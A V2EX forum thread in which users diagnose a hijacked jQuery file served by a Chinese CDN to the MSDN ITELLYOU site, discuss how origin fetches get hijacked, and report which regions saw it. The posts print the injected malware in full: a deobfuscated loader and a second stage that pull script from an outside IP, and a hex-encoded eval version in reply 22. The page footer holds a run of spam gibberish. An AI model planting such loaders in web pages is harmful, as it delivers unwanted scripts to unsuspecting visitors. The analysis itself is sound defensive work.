MSDN ITELLYOU 网站被劫持挂马? - V2EX
V2EX = way to explore
V2EX 是一个关于分享和探索的地方
现在注册
已注册用户请  登录
工单节点使用指南
请用平和的语言准确描述你所遇到的问题
厂商的技术支持和你一样也是有喜怒哀乐的普通人类,尊重是相互的
如果是关于 V2EX 本身的问题反馈,请使用 反馈 节点
BOYPT
V2EX    全球工单系统

MSDN ITELLYOU 网站被劫持挂马?

  •  
  •   BOYPT 2018-12-24 09:47:20 +08:00 7285 次点击
    这是一个创建于 2532 天前的主题,其中的信息可能已经有所发展或是发生改变。

    今天发现内容菜单无法打开,打开 F12 发现 jQuery 对象报错,看了下 Network 发现 jquery 文件内容变成可疑内容:

    https://cdn.staticfile.org/jquery/1.10.2/jquery.min.js

    jquery.min.js

    终端内把可疑代码的 eval 换成 console.log ,排版看到内容如下

    var c = function(u) { var d = document, e = d.createElement('script'); e.type = 'text/Javascript'; e.src = u; d.getElementsByTagName('head')[0].appendChild(e); }, s = 'http://cdn.staticfile.org/jquery/1.10.2/jquery.min.js?cclt1=ncache2'; if ((typeof M7f == 'undefined') && (!navigator.platform.match(/Win32|Win64/i))) c('http://120.79.33.84:1616/mb.php?id=lp01'); if ((typeof M7f == 'undefined') || (M7f != s)) { M7f = s; c(s + Math.random()); } 

    看到挂马脚本还会插回一个内容正常的 jQuery 外,对于非 win 平台还加载一次 120.79.33.84:1616,请求一下看看:

    !(function() { if (typeof MB7F2 == 'undefined') { MB7F2 = 1; var head = document.getElementsByTagName('head')[0]; var script = document.createElement('script'); script.type = 'text/Javascript'; script.Onload= script.Onreadystatechange= function() { if (!this.readyState || this.readyState === "loaded" || this.readyState === "complete") { var isMobile = { Win: function() { return navigator.platform.match(/Win32|Win64|Mac/i) ? true : false }, Qqb: function() { return navigator.userAgent.match(/QQ/i) ? true : false }, Phone: function() { return navigator.userAgent.match(/Android|Adr|iPhone|iPh|iPh5|iOS|iPad|ipad|iPod/i) ? true : false } }; var bz = 0; if (isMobile.Win() || isMobile.Qqb()) { bz = 0 } else if (isMobile.Phone()) { var slt = Math.floor(Math.random() * 1000000) + 1000; bz = 1; var nd = document.createElement("div"); nd.id = slt; nd.style.position = "fixed"; nd.style.zIndex = "9999"; nd.style.width = "100%"; nd.style.height = "auto"; nd.style.bottom = "-6px"; nd.style.right = "0px"; document.body.insertBefore(nd, document.body.firstChild); var slt = '#' + slt } var tu = "http://120.79.33.84:1616/mb1.php?id=lp01"; var setcookies = function() { var exp = new Date(); var value = exp.getTime(); exp.setTime(exp.getTime() + 3000 * 1000); document.cookie = "mblast=" + escape(value) + ";expires=" + exp.toGMTString() }; var getCookie = function(d) { var f = document.cookie; var g = f.split("; "); for (var e = 0; e < g.length; e++) { var c = g[e].split("="); if (c[0] == d) { return c[1] } } return 0 }; var mbbt = new Date(); mbbt = (mbbt.getTime() - getCookie("mblast")) / 1000; if ((bz != 0) && (mbbt > 81)) { $(document).ready(function() { $.ajax({ type: 'get', url: tu + "&new=" + Math.random() + "&mblast=" + mbbt, dataType: 'jsonp', jsonp: "jsoncallback", success: function(data) { $(slt).html(data); setcookies() }, error: function() {} }) }) } } }; script.src = 'http://cdn.staticfile.org/jquery/1.7/jquery.min.js?cclt1=ncache2'; head.appendChild(script) } })(); 

    因为 https 访问的,这些 http 地址实际都被挡了,jQuery 无法加载所以网站功能有问题的。 staticfile.org 是七牛云的静态 CDN,而入口文件的 jquery.min.js 也是 https 的,而且挂马代码里面也针对性地重新引用 staticfile.org 文件。

    因此怀疑是七牛 CDN 内部人员私自加料,或者 CDN 回源过程中被第三方定向劫持。

    36 条回复    2019-09-29 17:37:17 +08:00
    Nitroethane
        1
    Nitroethane  
       2018-12-24 09:51:01 +08:00 via Android
    没有遇到所说的问题,能正常打开。是不是你被运营商劫持了?
    BOYPT
        2
    BOYPT  
    OP
       2018-12-24 09:52:58 +08:00
    @Nitroethane #1 看分析文字
    Les1ie
        3
    Les1ie  
       2018-12-24 09:54:09 +08:00   3
    刚好昨晚看到知乎看到一篇文章 zhihu.com/question/35720092/answer/523563873
    Les1ie
        4
    Les1ie  
       2018-12-24 09:54:54 +08:00
    另外我这里没有遇到问题
    BOYPT
        5
    BOYPT  
    OP
       2018-12-24 09:55:00 +08:00
    可以排除营运商劫持,因为如图所示。

    Nitroethane
        6
    Nitroethane  
       2018-12-24 09:58:12 +08:00
    @BOYPT #2 我看了,点击内容菜单能正常打开,console 什么报错都没有。唯一的两条报错信息是广告屏蔽插件屏蔽的两条广告请求。不要老想着搞个大新闻
    BOYPT
        7
    BOYPT  
    OP
       2018-12-24 09:59:44 +08:00
    @Nitroethane #6 好吧

    CDN 也是分地区性的,现在想来应该是七牛云的祸,不是 itellyou 站问题。
    jptx
        8
    jptx  
       2018-12-24 10:01:31 +08:00
    我这边也是正常的
    wly19960911
        9
    wly19960911  
       2018-12-24 10:13:17 +08:00
    @Les1ie #3 居然还有回源的时候被劫持,长见识了,果然 https 还不是完全值得信任。
    Les1ie
        10
    Les1ie  
       2018-12-24 10:17:48 +08:00
    即使我们做到了全链路 https, 但是云服务厂商自己的服务器之间没做到, 这也是个问题

    另外知乎那篇文章似乎也没法石锤是回源的时候遇到了问题,如果是回源遇到了劫持,那么影响的应该是这个网站下面使用了这个 cdn 的很多客户呀,影响面积会不会更大

    @wly19960911 #9
    maplelin
        11
    maplelin  
       2018-12-24 10:19:25 +08:00
    坐标深圳,已复现问题,菜单无法正常打开
    LanFomalhaut
        12
    LanFomalhaut  
       2018-12-24 10:25:32 +08:00
    @Les1ie
    当年就遇到过一次....节点回源时候被劫持 缓存了被劫持篡改的广告 JS .然后这个站只要访问到这个节点就会 100%跳广告..属于大范围影响的
    liberize
        13
    liberize  
       2018-12-24 10:27:25 +08:00
    广州也复现了
    BOYPT
        14
    BOYPT  
    OP
       2018-12-24 10:28:24 +08:00
    @Les1ie #10 如果是 cloudflare 的 CDN 就有回源模式,可以选择 full ssl,应该就能避免这类问题;而一众国产 CDN (有些甚至没有控制台)只能烧香了...

    itellyou 站我个人建议更换静态库的 CDN,用 cdnjs 的应该就比较合适,cloudflare 在国内跟百度云合作,速度和技术上应该有点保证
    BOYPT
        15
    BOYPT  
    OP
       2018-12-24 10:29:50 +08:00
    楼主也是广州,目前能复现的是广州深圳,而七牛有专门的华南区区域划分,估计影响的就是华南区服务器
    v2meng
        16
    v2meng  
       2018-12-24 10:44:07 +08:00 via Android
    广州长城宽带复现
    miyuki
        17
    miyuki  
       2018-12-24 10:57:05 +08:00 via Android
    如果你也在用 jsdelivr,那么请小心,他的节点会投毒。
    t/403110

    我记得还有个主题说百度的 js,也被回源劫持了,找不到了。
    Variazioni
        18
    Variazioni  
       2018-12-24 10:58:30 +08:00
    北京电信正常。。
    Les1ie
        19
    Les1ie  
       2018-12-24 11:12:01 +08:00
    cloudflare 国内默认不会走百度吧... 国内使用 cloudflare 是 cdn 云减速
    Mac
        20
    Mac  
       2018-12-24 12:20:06 +08:00
    cdn.staticfile.org 经常会被劫持或者挂马。

    我也遇到过。

    t/471432
    akafeng
        21
    akafeng  
       2018-12-24 12:28:56 +08:00
    @miyuki #17 网宿的锅,跟 jsDelivr 没什么关系
    jo32
        22
    jo32  
       2018-12-24 12:45:15 +08:00
    (function(){var s="76617220633D66756E6374696F6E2875297B76617220643D646F63756D656E742C653D642E637265617465456C656D656E74282773637269707427293B652E747970653D27746578742F6A617661736372697074273B652E7372633D753B642E676574456C656D656E747342795461674E616D6528276865616427295B305D2E617070656E644368696C642865293B7D2C733D27687474703A2F2F63646E2E73746174696366696C652E6F72672F6A71756572792F312E31302E322F6A71756572792E6D696E2E6A733F63636C74313D6E636163686532273B69662828747970656F66204D37663D3D27756E646566696E65642729262628216E6176696761746F722E706C6174666F726D2E6D61746368282F57696E33327C57696E36342F69292929632827687474703A2F2F3132302E37392E33332E38343A313631362F6D622E7068703F69643D6C70303127293B69662828747970656F66204D37663D3D27756E646566696E656427297C7C284D3766213D7329297B4D37663D733B6328732B4D6174682E72616E646F6D2829293B7D",c,r=[],i=0;for(;i<s.length;i+=2){c=parseInt(s.substr(i,2),16);r.push(String.fromCharCode(c));}eval(r.join(""));})();

    深圳复现
    shawndev
        23
    shawndev  
       2018-12-24 13:03:52 +08:00
    <img src="https://i.loli.net/2018/12/24/5c2068784f8b9.png" alt="屏幕快照 2018-12-24 下午 1.02.17.png" title="屏幕快照 2018-12-24 下午 1.02.17.png" />河南未重现
    BOYPT
        24
    BOYPT  
    OP
       2018-12-24 13:34:36 +08:00
    下午 1 点测试,劫持已经消失。
    sneezry
        25
    sneezry  
       2018-12-24 14:06:13 +08:00 via iPhone
    @Les1ie 有一点没太想明白,https 下运营商是不是应该不知道文件后缀?为什么改后缀可以达到目的呢?
    Les1ie
        26
    Les1ie  
       2018-12-24 14:10:47 +08:00
    @sneezry #25 猜测可能是回源阶段被劫持了,回源阶段只劫持了 js 文件, 改后缀就不会被运营商识别到了叭
    venhow
        27
    venhow  
       2018-12-24 16:46:39 +08:00
    但是里面的点击不了,只是一个大大的红包
    chungzhao
        28
    chungzhao  
       2018-12-24 17:59:02 +08:00
    佛山联通不行。
    MSDN 挺好的,我一直在用它下载系统。
    诶,可惜了。。。
    EarthChild
        29
    EarthChild  
       2018-12-24 18:30:44 +08:00
    http://cdn.staticfile.org/ 我这边居然访问不了。。。没 FQ 啊!
    RqPS6rhmP3Nyn3Tm
        30
    RqPS6rhmP3Nyn3Tm  
       2018-12-25 01:34:17 +08:00 via iPhone
    都 tls 了,除了 canonical name 和端口,路由节点啥都看不到。http 路径包括文件名已经被加密过了
    只有可能是回源的问题,回源也上 https 就可以了,不知道这老哥为啥走这么大弯路
    @Les1ie
    RqPS6rhmP3Nyn3Tm
        31
    RqPS6rhmP3Nyn3Tm  
       2018-12-25 01:37:16 +08:00 via iPhone
    Tls 全称是 transport layer security 啊(敲黑板
    Les1ie
        32
    Les1ie  
       2018-12-25 09:04:58 +08:00
    排除问题的阶段只能猜测所有的可能呀:1.回源阶段有问题 2.运营商有没有用了某个浏览器信任的证书做中间人 慢慢排查
    Les1ie
        33
    Les1ie  
       2018-12-25 09:07:23 +08:00
    现在运营商劫持依然很严重

    是不是可以抓出来罪魁祸首,顺带赠送一个非法侵入计算机系统罪
    lizheming
        34
    lizheming  
       2018-12-25 09:35:20 +08:00
    @BOYPT ( emmmm, 轻微反驳一下那个一众国产)... https://cdn.baomitu.com 75CDN 目前是已经全部切成 https 回源了的,所以楼主的情况在 75CDN 上不会碰到。
    red2dog
        35
    red2dog  
       2019-01-18 09:57:02 +08:00
    遇到同样的问题了,排查了一晚上解决了。。。
    Xheldon
        36
    Xheldon  
       2019-09-29 17:37:17 +08:00
    北京联通遇到了, 点击左侧的展开菜单没反应
    控制台看到是 bootstrap.3.0.3.js 报错, 打开这个文件看起来是文件内容不全导致的
    官网下载一个 bootstrap.js 粘贴复制到控制台回车, 再点展开菜单就 OK 了
    关于     帮助文档     自助推广系统     博客     API     FAQ     Solana     2608 人在线   最高记录 6679       Select Language
    创意工作者们的社区
    World is powered by solitude
    VERSION: 3.9.8.5 29ms UTC 04:14 PVG 12:14 LAX 20:14 JFK 23:14
    Do have faith in what you're doing.
    ubao msn snddm index pchome yahoo rakuten mypaper meadowduck bidyahoo youbao zxmzxm asda bnvcg cvbfg dfscv mmhjk xxddc yybgb zznbn ccubao uaitu acv GXCV ET GDG YH FG BCVB FJFH CBRE CBC GDG ET54 WRWR RWER WREW WRWER RWER SDG EW SF DSFSF fbbs ubao fhd dfg ewr dg df ewwr ewwr et ruyut utut dfg fgd gdfgt etg dfgt dfgd ert4 gd fgg wr 235 wer3 we vsdf sdf gdf ert xcv sdf rwer hfd dfg cvb rwf afb dfh jgh bmn lgh rty gfds cxv xcv xcs vdas fdf fgd cv sdf tert sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf sdf shasha9178 shasha9178 shasha9178 shasha9178 shasha9178 liflif2 liflif2 liflif2 liflif2 liflif2 liblib3 liblib3 liblib3 liblib3 liblib3 zhazha444 zhazha444 zhazha444 zhazha444 zhazha444 dende5 dende denden denden2 denden21 fenfen9 fenf619 fen619 fenfe9 fe619 sdf sdf sdf sdf sdf zhazh90 zhazh0 zhaa50 zha90 zh590 zho zhoz zhozh zhozho zhozho2 lislis lls95 lili95 lils5 liss9 sdf0ty987 sdft876 sdft9876 sdf09876 sd0t9876 sdf0ty98 sdf0976 sdf0ty986 sdf0ty96 sdf0t76 sdf0876 df0ty98 sf0t876 sd0ty76 sdy76 sdf76 sdf0t76 sdf0ty9 sdf0ty98 sdf0ty987 sdf0ty98 sdf6676 sdf876 sd876 sd876 sdf6 sdf6 sdf9876 sdf0t sdf06 sdf0ty9776 sdf0ty9776 sdf0ty76 sdf8876 sdf0t sd6 sdf06 s688876 sd688 sdf86